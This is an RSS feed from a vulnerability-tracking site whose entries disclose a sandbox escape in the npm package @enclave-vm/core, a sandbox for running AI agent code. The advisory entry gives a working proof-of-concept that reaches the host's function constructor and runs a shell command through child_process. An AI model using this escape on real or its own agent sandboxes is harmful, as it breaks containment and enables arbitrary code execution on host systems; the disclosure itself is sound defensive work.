<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 08 Oct 2026 01:27:43 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-270765</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-270765</link>
      <description>EUVD-2026-270765</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-270765</guid>
    </item>
    <item>
      <title>fkie_cve-2026-27597</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-27597</link>
      <description>&lt;p&gt;Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-27597</guid>
    </item>
    <item>
      <title>GHSA-f229-3862-4942 — @enclave-vm/core is vulnerable to Sandbox Escape</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-f229-3862-4942</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @enclave-vm/core&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).&lt;/p&gt;
&lt;p&gt;The issue has been fixed in version **2.11.1**.&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.&lt;/p&gt;
&lt;p&gt;When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.&lt;/p&gt;
&lt;p&gt;When this is not the case, a host reference can be obtained via Node&amp;#39;s `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;### PoC 1&lt;/p&gt;
&lt;p&gt;```js
const { Enclave } = require(&amp;#34;@enclave-vm/core&amp;#34;);&lt;/p&gt;
&lt;p&gt;const enclave = new Enclave({
  securityLevel: &amp;#34;SECURE&amp;#34;,
  toolHandler: () =&amp;gt; {},
});&lt;/p&gt;
&lt;p&gt;const result = enclave.run(`
const op = {}[[&amp;#34;__proto__&amp;#34;]];
const ho = op[[&amp;#34;constructor&amp;#34;]];&lt;/p&gt;
&lt;p&gt;const glob = ho.getOwnPropertyDescriptors(this);&lt;/p&gt;
&lt;p&gt;return {
  res: glob.__host_memory_track__.value[[&amp;#34;constructor&amp;#34;]](&amp;#34;return process&amp;#34;)()
    .getBuiltinModule(&amp;#34;child_process&amp;#34;)
    .execSync(&amp;#34;id&amp;#34;)
    .toString()
    .split(&amp;#34;\\n&amp;#34;),
};`);&lt;/p&gt;
&lt;p&gt;result
  .then((v) =&amp;gt; console.log(&amp;#34;success&amp;#34;, v))
  .catch((e) =&amp;gt; console.log(&amp;#34;failure&amp;#34;, e));
```&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;### PoC 2&lt;/p&gt;
&lt;p&gt;```js
const { Enclave } = require(&amp;#34;@enclave-vm/core&amp;#34;);&lt;/p&gt;
&lt;p&gt;const enclave = new Enclave({…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @enclave-vm/core&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).&lt;/p&gt;
&lt;p&gt;The issue has been fixed in version **2.11.1**.&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.&lt;/p&gt;
&lt;p&gt;When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.&lt;/p&gt;
&lt;p&gt;When this is not the case, a host reference can be obtained via Node&amp;#39;s `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;### PoC 1&lt;/p&gt;
&lt;p&gt;```js
const { Enclave } = require(&amp;#34;@enclave-vm/core&amp;#34;);&lt;/p&gt;
&lt;p&gt;const enclave = new Enclave({
  securityLevel: &amp;#34;SECURE&amp;#34;,
  toolHandler: () =&amp;gt; {},
});&lt;/p&gt;
&lt;p&gt;const result = enclave.run(`
const op = {}[[&amp;#34;__proto__&amp;#34;]];
const ho = op[[&amp;#34;constructor&amp;#34;]];&lt;/p&gt;
&lt;p&gt;const glob = ho.getOwnPropertyDescriptors(this);&lt;/p&gt;
&lt;p&gt;return {
  res: glob.__host_memory_track__.value[[&amp;#34;constructor&amp;#34;]](&amp;#34;return process&amp;#34;)()
    .getBuiltinModule(&amp;#34;child_process&amp;#34;)
    .execSync(&amp;#34;id&amp;#34;)
    .toString()
    .split(&amp;#34;\\n&amp;#34;),
};`);&lt;/p&gt;
&lt;p&gt;result
  .then((v) =&amp;gt; console.log(&amp;#34;success&amp;#34;, v))
  .catch((e) =&amp;gt; console.log(&amp;#34;failure&amp;#34;, e));
```&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;### PoC 2&lt;/p&gt;
&lt;p&gt;```js
const { Enclave } = require(&amp;#34;@enclave-vm/core&amp;#34;);&lt;/p&gt;
&lt;p&gt;const enclave = new Enclave({…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-f229-3862-4942</guid>
    </item>
  </channel>
</rss>
